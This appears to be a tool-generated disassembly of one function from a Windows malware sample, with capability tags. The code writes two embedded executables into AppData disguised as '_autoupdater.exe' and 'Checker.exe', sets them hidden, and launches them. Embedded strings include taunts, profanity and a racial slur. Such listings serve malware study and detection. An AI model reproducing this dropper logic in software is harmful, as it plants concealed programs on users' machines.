Function at 0x402333
Capabilities:
Create process on windows
Create process suspended
Get common file path
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2ac
mov eax, dword [0x427040]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x403277
push 0x423ee8
push 0xab8d98
call fcn.00402fb7
pop ecx
pop ecx
mov ecx, eax
call fcn.004025cd
push 0x403277
push 0x423eec
push 0xab8d98
call fcn.00402fb7
pop ecx
pop ecx
mov ecx, eax
call fcn.004025cd
push 0x403277
push str.Hi_mother_fuckers_what_are_you_looking_for_here___just_go_fuck_ur_self
push 0xab8d98
call fcn.00402fb7
pop ecx
pop ecx
mov ecx, eax
call fcn.004025cd
push 0x403277
push str.Nik_mok_elkahba
push 0xab8d98
call fcn.00402fb7
pop ecx
pop ecx
mov ecx, eax
call fcn.004025cd
push 0x403277
push str.You_will_improve_your_reading_comprehension_and_develop_your_vocabulary_on_a_diverse_range_of_international_events__celebrations_and_topics._Each_article_has_interactive_exercises_to_help_you_understand_and_use_the_language
push 0xab8d98
call fcn.00402fb7
pop ecx
pop ecx
mov ecx, eax
call fcn.004025cd
push 0x403277
push str.A_pointer_to_the_base_address_in_the_specified_process_from_which_to_read._Before_any_data_transfer_occurs__the_system_verifies_that_all_data_in_the_base_address_and_memory_of_the_specified_size_is_accessible_for_read_access__and_if_it_is_not_accessible_the_function_fails.
push 0xab8d98
call fcn.00402fb7
pop ecx
pop ecx
mov ecx, eax
call fcn.004025cd
push 0x403277
push str.A_pointer_to_a_variable_that_receives_the_number_of_bytes_transferred_into_the_specified_buffer._If_lpNumberOfBytesRead_is_NULL__the_parameter_is_ignored.
push 0xab8d98
call fcn.00402fb7
pop ecx
pop ecx
mov ecx, eax
call fcn.004025cd
push 0x403277
push str.Hi_nigga
push 0xab8d98
call fcn.00402fb7
pop ecx
pop ecx
mov ecx, eax
call fcn.004025cd
nop
lea eax, [ebp - 0x20c]
push eax
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jl 0x4025bf
push str._autoupdater.exe
lea eax, [ebp - 0x20c]
push eax
lea ecx, [ebp - 0x2ac]
call fcn.00402679
push eax
lea eax, [ebp - 0x23c]
push eax
call fcn.004032a5
add esp, 0xc
lea ecx, [ebp - 0x2ac]
call fcn.0040265e
nop
push str.Checker.exe
lea ecx, [ebp - 0x224]
call fcn.00402679
push 0x48c00
push 0x427ac8
lea eax, [ebp - 0x23c]
push eax
call fcn.004022aa
add esp, 0xc
push 0x648200
push 0x4706c8
lea eax, [ebp - 0x224]
push eax
call fcn.004022aa
add esp, 0xc
push 2
lea ecx, [ebp - 0x23c]
call fcn.0040264d
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 2
lea ecx, [ebp - 0x224]
call fcn.0040264d
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov dword [ebp - 0x280], 0x44
push 0x40
push 0
lea eax, [ebp - 0x27c]
push eax
call fcn.00408260
add esp, 0xc
lea eax, [ebp - 0x290]
push eax
lea eax, [ebp - 0x280]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x23c]
call fcn.0040264d
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x402551
push dword [ebp - 0x290]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x28c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
nop
lea eax, [ebp - 0x290]
push eax
lea eax, [ebp - 0x280]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x224]
call fcn.0040264d
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x40259c
push dword [ebp - 0x290]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x28c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
nop
and dword [ebp - 0x294], 0
lea ecx, [ebp - 0x224]
call fcn.0040265e
lea ecx, [ebp - 0x23c]
call fcn.0040265e
mov eax, dword [ebp - 0x294]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00406931
leave
ret 0x10